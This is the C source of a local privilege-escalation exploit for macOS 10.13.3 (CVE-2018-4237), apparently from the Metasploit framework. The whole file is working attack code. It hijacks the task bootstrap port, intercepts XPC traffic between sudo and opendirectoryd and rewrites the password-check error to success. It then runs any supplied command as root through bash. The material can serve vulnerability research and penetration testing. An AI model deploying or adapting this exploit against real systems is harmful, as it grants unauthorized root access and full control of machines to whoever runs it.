metasploit-framework/external/source/exploits/CVE-2018-4237/ssudo/ssudo.c

279 lines
9.6 KiB
C

/*
* ssudo.c - local root exploit for macOS 10.13.3
*
* Achieves MitM between sudo and opendirectoryd (which verifies passwords) by
* abusing the task_set_special_port API to overwrite the bootstrap port.
*
* Program flow:
* 1. Overwrite the bootstrap port, start threads to bridge XPC traffic to
* opendirectoryd, forward traffic to launchd but resolve opendirectoryd
* to our own port instead
* 2. Fork and exec sudo. Sudo will talk to opendirectoryd to verify the
* password. We modify the reply to indicate success
* 3. sudo executes this binary again. We detect that and restore the bootstrap
* port, then run the requested command
*
* Limitations: currently stderr is set to stdout in the child processes, see comments below
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
#include <bootstrap.h>
#include <errno.h>
#include <spc.h>
#define TARGET_SERVICE "com.apple.system.opendirectoryd.api"
#define SERVICE_NAME "net.saelo.hax"
// Need to declare this since it's not included in bootstrap.h
extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
mach_port_t bootstrap_port, fake_bootstrap_port, fake_service_port, real_service_port;
pthread_t fake_service_thread, bridge_threads[2];
void get_bootstrap_port()
{
kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
}
// Generic XPC bridge. Works only for messages that do not expect a reply.
void* bridge_connection(void* arg)
{
spc_connection_t* bridge = arg;
while (1) {
spc_message_t* msg = spc_recv(bridge->receive_port);
msg->local_port.name = MACH_PORT_NULL;
msg->local_port.type = 0;
msg->remote_port.name = bridge->send_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Hack 3: replace "error: 5000" with "error: 0" to indicate success
spc_dictionary_item_t* item = spc_dictionary_lookup(msg->content, "error");
if (item)
item->value.value.u64 = 0;
spc_send(msg);
spc_message_destroy(msg);
}
return NULL;
}
void* fake_service_main(void* arg)
{
int ret;
// Await incoming connection
spc_connection_t* client_connection = spc_accept_connection(fake_service_port);
spc_connection_t* service_connection = spc_create_connection_mach_port(real_service_port);
spc_connection_t* bridge_1 = malloc(sizeof(spc_connection_t));
spc_connection_t* bridge_2 = malloc(sizeof(spc_connection_t));
bridge_1->receive_port = client_connection->receive_port;
bridge_1->send_port = service_connection->send_port;
bridge_2->receive_port = service_connection->receive_port;
bridge_2->send_port = client_connection->send_port;
ret = pthread_create(&bridge_threads[0], NULL, &bridge_connection, bridge_1);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
ret = pthread_create(&bridge_threads[1], NULL, &bridge_connection, bridge_2);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
free(client_connection);
free(service_connection);
return NULL;
}
void start_fake_service()
{
kern_return_t kr;
// Resolve real service port for later
kr = bootstrap_look_up(bootstrap_port, TARGET_SERVICE, &real_service_port);
ASSERT_MACH_SUCCESS(kr, "bootstrap_look_up");
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_service_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, fake_service_port, 0);
ASSERT_MACH_SUCCESS(kr, "bootstrap_register2");
// Run the fake service in a separate thread
int ret = pthread_create(&fake_service_thread, NULL, &fake_service_main, NULL);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
}
void setup_fake_bootstrap_port()
{
kern_return_t kr;
mach_port_t fake_bootstrap_send_port;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
mach_msg_type_name_t aquired_type;
kr = mach_port_extract_right(mach_task_self(), fake_bootstrap_port, MACH_MSG_TYPE_MAKE_SEND, &fake_bootstrap_send_port, &aquired_type);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
// Hack 1: replace the bootstrap port of this and all child processes with our own port
kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, fake_bootstrap_send_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
}
void restore_bootstrap_port()
{
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_t* reply;
spc_domain_routine(0x31337, msg, &reply);
mach_port_t bootstrap_port = spc_dictionary_get_send_port(reply, "original_bootstrap_port");
kern_return_t kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
spc_dictionary_destroy(msg);
spc_dictionary_destroy(reply);
}
void handle_sigchld()
{
exit(0);
}
// Spawn the (privileged) child process with our controlled bootstrap port
void spawn_child(const char* self, const char* command)
{
int stdin_pipe[2];
pipe(stdin_pipe);
pid_t pid = fork();
if (pid == 0) {
close(stdin_pipe[1]);
// sudo will only preserve the first three file descriptors, so we abuse
// stdout to remporarily hold on to stdin.
// TODO to fix this we'd have to fetch the original file descriptors
// from the parent via XPC.
dup2(STDOUT_FILENO, STDERR_FILENO);
dup2(STDIN_FILENO, STDOUT_FILENO);
dup2(stdin_pipe[0], STDIN_FILENO);
execl("/usr/bin/sudo", "/usr/bin/sudo", "-p", "", "-S", self, command, NULL);
ASSERT_POSIX_SUCCESS(errno, "execl");
} else if (pid < 0) {
puts("Fork failed");
ASSERT_POSIX_SUCCESS(errno, "fork");
}
close(stdin_pipe[0]);
struct sigaction sa;
sa.sa_handler = &handle_sigchld;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
if (sigaction(SIGCHLD, &sa, 0) == -1) {
printf("sigaction failed\n");
exit(-1);
}
// Send a "password" so sudo continues
write(stdin_pipe[1], "i_can_haz_root\n", 16);
}
void bridge_launchd_connection()
{
// For launchd messages, libxpc checks that the reply comes from pid 1 and uid 0.
// As such, we have to let launchd send the replies directly to our child process.
// However, we can manipulate the messages sent to launchd and can thus resolve
// services to different (controlled) ports.
while (1) {
// Wait for the next bootstrap message from a child process.
spc_message_t* msg = spc_recv(fake_bootstrap_port);
// Special routine: allow child processes to restore the bootstrap port
if (spc_dictionary_get_uint64(msg->content, "routine") == 0x31337) {
spc_dictionary_t* reply = spc_dictionary_create();
spc_dictionary_set_send_port(reply, "original_bootstrap_port", bootstrap_port);
spc_reply(msg, reply);
spc_message_destroy(msg);
spc_dictionary_destroy(reply);
continue;
}
// Rewrite source (our child process) and destination (real launchd) of message.
msg->local_port.name = msg->remote_port.name;
msg->local_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
msg->remote_port.name = bootstrap_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Possibly modify the message before forwarding to launchd
if (spc_dictionary_get_send_port(msg->content, "domain-port") == fake_bootstrap_port) {
// Must replace our fake bootstrap port in the content of the message with the real one.
spc_dictionary_set_send_port(msg->content, "domain-port", bootstrap_port);
}
if (strcmp(spc_dictionary_get_string(msg->content, "name"), TARGET_SERVICE) == 0) {
// Hack 2: resolve the target service to our fake service instead >:)
spc_dictionary_set_string(msg->content, "name", SERVICE_NAME);
// Must also change a few of the other fields of the message...
spc_dictionary_set_uint64(msg->content, "flags", 0);
spc_dictionary_set_uint64(msg->content, "subsystem", 5);
spc_dictionary_set_uint64(msg->content, "routine", 207);
spc_dictionary_set_uint64(msg->content, "type", 7);
}
// Forward to launchd
spc_send(msg);
spc_message_destroy(msg);
}
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage: %s command\n", argv[0]);
return 0;
}
if (getuid() == 0) {
// We are being executed by sudo. We now need to restore the original
// bootstrap port and stdin fd and then execute the requested command
restore_bootstrap_port();
if (!fork()) {
dup2(STDOUT_FILENO, STDIN_FILENO);
dup2(STDERR_FILENO, STDOUT_FILENO);
return execl("/bin/bash", "/bin/bash", "-c", argv[1], NULL);
}
return 0;
}
// Copy command into one string suitable for "bash -c"
size_t size = 0;
for (int i = 1; i < argc; i++) {
size += strlen(argv[i]) + 1;
}
char* command = calloc(size, 1);
for (int i = 1; i < argc; i++) {
strlcat(command, argv[i], size);
strlcat(command, " ", size); // final whitespace will not be written due to size limit
}
get_bootstrap_port();
start_fake_service();
setup_fake_bootstrap_port();
spawn_child(argv[0], command);
bridge_launchd_connection();
return 0;
}